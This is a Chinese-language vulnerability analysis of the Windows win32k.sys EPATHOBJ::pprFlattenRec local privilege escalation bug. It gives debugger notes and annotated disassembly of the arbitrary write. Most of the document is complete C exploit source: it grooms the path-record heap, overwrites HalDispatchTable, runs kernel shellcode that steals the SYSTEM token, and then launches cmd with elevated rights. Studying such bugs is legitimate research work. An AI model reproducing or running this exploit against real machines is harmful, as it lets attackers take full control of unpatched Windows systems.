0x00漏洞信息
分析系统:win7 sp1
漏洞文件:win32k.sys
漏洞类型:本地权限提升
0x01漏洞分析
更具exp 分析是在bFlatten函数里面的pprFlattenRec 执行过程
/* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
e194d008 e199d008 e194dfbc 00000fc0 e199d014 e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
e194d018 00000000 00000011 000001f3 00000000
e194d028 00000000 14141410 24242420 14141410
e194d038 24242420 14141410 24242420 14141410
...
e194dfa8 24242420 14141410 24242420 14141410
e194dfb8 24242420 00000000 00000000 00000000
* 调试:
* 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
* 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
* 3 FlattenPath
* 第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
直接返回一个指向0x414141 0x42424242内存区域
第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
此时如果内存分配失败,或者自己在用winbdg改成NULL
此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
4 FlattenPath
提权
*/
text:BF873B37 mov edi, edi .text:BF873B39 push ebp .text:BF873B3A mov ebp, esp .text:BF873B3C sub esp, 0E0h .text:BF873B42 push 7FFFFFFFh ; unsigned int .text:BF873B47 lea eax, [ebp+var_C] ; 后面循环的节点 .text:BF873B4A push eax ; unsigned int * .text:BF873B4B lea eax, [ebp+var_4] ; 会被返回一个新点 .text:BF873B4E push eax ; struct _PATHRECORD ** .text:BF873B4F mov [ebp+var_8], ecx ; this .text:BF873B52 call ?newpathrec@EPATHOBJ@@IAEHPAPAU_PATHRECORD@@PAKK@Z ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) .text:BF873B57 cmp eax, 1 .text:BF873B5A jz short loc_BF873B63 .text:BF873B5C xor eax, eax .text:BF873B5E jmp locret_BF873D2C ; 结束
.text:BF873B63 loc_BF873B63: ; CODE XREF: EPATHOBJ::pprFlattenRec(_PATHRECORD *)+23↑j .text:BF873B63 push ebx .text:BF873B64 push esi .text:BF873B65 mov esi, [ebp+var_4] ; 新节点 .text:BF873B68 push edi .text:BF873B69 mov edi, [ebp+arg_0] ; 当前节点 .text:BF873B6C mov eax, [edi+4] ; 当前节点prve .text:BF873B6F mov [esi+4], eax ; 新节点prve .text:BF873B72 lea ebx, [esi+0Ch] .text:BF873B75 and dword ptr [ebx], 0 .text:BF873B78 mov eax, [edi+8] ; flag .text:BF873B7B and eax, 0FFFFFFEFh ; 不保留这一位10 .text:BF873B7E mov [esi+8], eax ; 新节点=flag .text:BF873B81 cmp dword ptr [esi+4], 0 ; 上一个节点是否为空 .text:BF873B85 jnz short loc_BF873B92 ; 上一个节点不空时 .text:BF873B87 mov eax, [ebp+var_8] ; this .text:BF873B8A mov eax, [eax+8] .text:BF873B8D mov [eax+14h], esi ; 把当前节点 覆盖为新节点 .text:BF873B90 jmp short loc_BF873B97 ; flag
.text:BF873B92 mov eax, [esi+4] ; 把上一个节点next=新节点 .text:BF873B95 mov [eax], esi ; exp=esi 任意地址写入
.text:BF873D01 mov eax, [esi+0Ch] .text:BF873D04 lea ecx, [esi+eax*8+10h] .text:BF873D08 mov eax, [ebp+var_8] .text:BF873D0B mov edx, [eax+8] .text:BF873D0E mov edx, [edx+10h] .text:BF873D11 mov [edx+4], ecx .text:BF873D14 mov edi, [edi] ; 当前节点next .text:BF873D16 mov [esi], edi ; 新节点next=当前节点next exp跳板写入 .text:BF873D18 test edi, edi .text:BF873D1A jnz short loc_BF873D24 ; 最后把当前节点 写入 .text:BF873D1C mov eax, [eax+8] .text:BF873D1F mov [eax+18h], esi
0x02exp
/* * windows EPATHOBJ::pprFlattenRec bug poc by boywhp@126.com * tested in windows 2003 x86 * THX -> http://www.vupen.com/blog/20130723.Advanced_Exploitation_Windows_Kernel_Win32k_EoP_MS13-053.php */ #include <stdlib.h> #include <stdio.h> #include <STDARG.H> #include <stddef.h> #include <windows.h> #include <Shellapi.h> #pragma comment(lib, "gdi32") #pragma comment(lib, "kernel32") #pragma comment(lib, "user32") //1024 * 4k = 4M #define MAX_PAGES 1024 #define MAX_POLYPOINTS (MAX_PAGES*498) POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 #define ENABLE_SWITCH_DESKTOP 1 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4]; } PATHRECORD, *PPATHRECORD; typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; // Not filled in PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[ 256 ]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; typedef INT ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG ); typedef INT ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG ); typedef INT ( __stdcall *NtReadVirtualMemory_)( HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); typedef PVOID (__stdcall *PsGetCurrentProcess_)(); typedef PVOID (__stdcall *PsReferencePrimaryToken_)(PVOID Process); typedef INT (__stdcall *PsLookupProcessByProcessId_)(HANDLE ProcessId, PVOID *Process); NtQueryIntervalProfile_ NtQueryIntervalProfile; NtQuerySystemInformation_ NtQuerySystemInformation; NtReadVirtualMemory_ NtReadVirtualMemory; typedef struct _ShellCodeInfo{ PVOID* MmUserProbeAddress; PVOID* WriteToHalDispatchTable; PVOID NtSetEaFile; PVOID* PsInitialSystemProcess; DWORD Pid; PsGetCurrentProcess_ PsGetCurrentProcess; PsLookupProcessByProcessId_ PsLookupProcessByProcessId; PsReferencePrimaryToken_ PsReferencePrimaryToken; } ShellCodeInfo, *PShellCodeInfo; ShellCodeInfo GlobalInfo; PPATHRECORD pExploitRecord; // 必须对齐 (>>4) ,使用动态申请 PATHRECORD ExploitRecordExit = {0}; #if defined (_WIN64) #define MAX_FAST_REFS 15 #else #define MAX_FAST_REFS 7 #endif int __stdcall ShellCode(PVOID x, PVOID y, PShellCodeInfo* pInfo, PVOID w) { PShellCodeInfo info; //__SHELL_CODE_MAGIC; PVOID targetProcess, sysProcess, token; ULONG_PTR *p1, *p2; //info = *pInfo; #ifdef _WIN64 info = (PShellCodeInfo)0x13A80; /* FIX MmUserProbeAddress -> ((ULONG_PTR)(0x80000000000UI64 - 0x10000)) */ *info->MmUserProbeAddress = ((ULONG_PTR)(0x80000000000UI64 - 0x10000)); #else //info = (PShellCodeInfo)0x136E0; info = *pInfo; *info->MmUserProbeAddress = 0x7fff0000; #endif /* x64 4参数: rcx, rdx, r8, r9 -直接c3即可 */ *info->WriteToHalDispatchTable = info->NtSetEaFile; //if (info->PsLookupProcessByProcessId(info->Pid, &targetProcess) != 0) // return 0xC0000019; p1 = targetProcess = info->PsGetCurrentProcess(); p2 = sysProcess = *info->PsInitialSystemProcess; token = info->PsReferencePrimaryToken(sysProcess); /* token 4bit->refcnt */ while ((*p2 & ~MAX_FAST_REFS) != token){ p1++; p2++; } *p1 = token; return 0xC0000018; } static int do_expoite(PVOID* addr, PVOID val, PBYTE cmd, PBYTE argv) { HDC expDc, curDc = NULL; ULONG i; ULONG Size; INT ret = -1; PBYTE tmp = NULL; HDC tmpHdc[8096] = {0}; ULONG hdcNum = 0; BYTE progressT[] = "-\\|/-\\|/"; //init ExploitRecordExit node ExploitRecordExit.next = NULL; ExploitRecordExit.next = NULL; ExploitRecordExit.flags = PD_BEGINSUBPATH; ExploitRecordExit.count = 0; // //ensue ExploitRecord.next -> valid address and end record //ExploitRecord.next -> ExploitRecordExit node // pExploitRecord = VirtualAlloc(NULL, sizeof(PATHRECORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); pExploitRecord->next = &ExploitRecordExit; pExploitRecord->prev = (PPATHRECORD)addr; pExploitRecord->flags = PD_BEZIERS | PD_BEGINSUBPATH; pExploitRecord->count = 4; printf("Alllocated PATHRECORDS:%p %p\n", pExploitRecord, &ExploitRecordExit); tmp = malloc((int)ShellCode); // // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. // for (i = 0; i < MAX_POLYPOINTS; i++) { #ifdef _WIN64 Points[i].x = (ULONG)(pExploitRecord) >> 4; Points[i].y = 0;//(ULONG)(pExploitRecord) >> 4; #else Points[i].x = (ULONG)(pExploitRecord) >> 4; Points[i].y = (ULONG)(pExploitRecord) >> 4; #endif PointTypes[i] = PT_BEZIERTO; } /* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498 e194d008 e199d008 e194dfbc 00000fc0 e199d014 e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size e194d018 00000000 00000011 000001f3 00000000 e194d028 00000000 14141410 24242420 14141410 e194d038 24242420 14141410 24242420 14141410 ... e194dfa8 24242420 14141410 24242420 14141410 e194dfb8 24242420 00000000 00000000 00000000 * 调试: * 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点 * 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了 * 3 FlattenPath * 第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc) 直接返回一个指向0x414141 0x42424242内存区域 第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM 此时如果内存分配失败,或者自己在用winbdg改成NULL 此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140 4 FlattenPath 内存违规!!! */ expDc = CreateCompatibleDC(GetDC(NULL)); while (curDc = CreateCompatibleDC(GetDC(NULL))) { tmpHdc[hdcNum++] = curDc; try_again: BeginPath(curDc); if (!PolyDraw(curDc, Points, PointTypes, MAX_POLYPOINTS)){ BeginPath(expDc); PolyDraw(expDc, Points, PointTypes, 498); EndPath(expDc); BeginPath(expDc); PolyDraw(expDc, Points, PointTypes, 498-15); EndPath(expDc); for (i=MAX_PAGES-1; i>0; i--){ BeginPath(curDc); if (PolyDraw(curDc, Points, PointTypes, 498*i)){ printf("start poc %d...\n", i); FlattenPath(expDc); //free the last -> freelist BeginPath(curDc); FlattenPath(expDc); //do exp ret = NtReadVirtualMemory((HANDLE)-1, tmp, tmp, (SIZE_T)ShellCode, GlobalInfo.WriteToHalDispatchTable ); if (ret == 0){ NtQueryIntervalProfile(&GlobalInfo, &ret); printf("[*] exploit...%x!\n", ret); ret = 0; } else { printf("exp faild :-<!\n"); ret = -1; goto try_again; } goto clean_up; } } } printf("%c\r", progressT[(hdcNum/8) % 8]); } clean_up: printf("cleaning up...\n"); for (i = hdcNum; i > 0; i--) DeleteDC(tmpHdc[i]); free(tmp); VirtualFree(pExploitRecord, 0, MEM_RELEASE); return ret; } int main(int argc, char **argv) { HMODULE ntoskrnl = NULL; LONG ret; BOOL bRet = FALSE; HMODULE ntdll; PRTL_PROCESS_MODULES mod = (PRTL_PROCESS_MODULES)&mod; PBYTE osBase; HMODULE hDllOs; ULONG NeededSize; INT expCount = 0; STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); //GlobalInfo.Pid = GetCurrentProcessId(); //pi.dwProcessId; printf("------------ epath Exp by boywhp@126.com ------------\n\n"); ntdll = GetModuleHandle("ntdll.dll"); NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll, "NtQuerySystemInformation"); NtReadVirtualMemory = (NtReadVirtualMemory_)GetProcAddress(ntdll, "NtReadVirtualMemory"); if (!NtQueryIntervalProfile || !NtQuerySystemInformation || !NtReadVirtualMemory){ printf("error get ntdll fun address\n"); return -1; } /* * NtQuerySystemInformation query sys module info * STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 */ ret = NtQuerySystemInformation(11, mod, 4, &NeededSize); if (0xC0000004 == ret){ mod = malloc(NeededSize); ret = NtQuerySystemInformation(11, mod, NeededSize, NULL); } printf("ntos:%s->%p\n", mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName, mod->Modules[0].ImageBase); osBase = mod->Modules[0].ImageBase; hDllOs = LoadLibraryA((LPCSTR)(mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName)); if (!hDllOs){ printf("error reload os kernel\n"); return -1; } free(mod); GlobalInfo.WriteToHalDispatchTable = (PBYTE)GetProcAddress(hDllOs, "HalDispatchTable") - (PBYTE)hDllOs + osBase + sizeof(PVOID); GlobalInfo.PsInitialSystemProcess = (PBYTE)GetProcAddress(hDllOs, "PsInitialSystemProcess") - (PBYTE)hDllOs + osBase; GlobalInfo.PsReferencePrimaryToken = (PBYTE)GetProcAddress(hDllOs, "PsReferencePrimaryToken") - (PBYTE)hDllOs + osBase; GlobalInfo.PsGetCurrentProcess = (PBYTE)GetProcAddress(hDllOs, "PsGetCurrentProcess") - (PBYTE)hDllOs + osBase; GlobalInfo.PsLookupProcessByProcessId = (PBYTE)GetProcAddress(hDllOs, "PsLookupProcessByProcessId") - (PBYTE)hDllOs + osBase; GlobalInfo.MmUserProbeAddress = (PBYTE)GetProcAddress(hDllOs, "MmUserProbeAddress") - (PBYTE)hDllOs + osBase; GlobalInfo.NtSetEaFile = (PBYTE)GetProcAddress(hDllOs, "NtSetEaFile") - (PBYTE)hDllOs + osBase; printf("Info %p \nHalDispatchTable %p MmUserProbeAddress %p NtSetEaFile %p \n", &GlobalInfo, GlobalInfo.WriteToHalDispatchTable, GlobalInfo.MmUserProbeAddress, GlobalInfo.NtSetEaFile); do_expoite(GlobalInfo.MmUserProbeAddress, NULL, argv[1], argc > 2 ? argv[2] : NULL); printf("[*]exe %s\n", argv[1]); if (!CreateProcess(NULL, // No module name (use command line) "cmd", NULL, NULL, FALSE, 0, //CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &si, &pi)){ printf("CreateProcess failed (%d)./n", GetLastError()); return -1; } //ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; }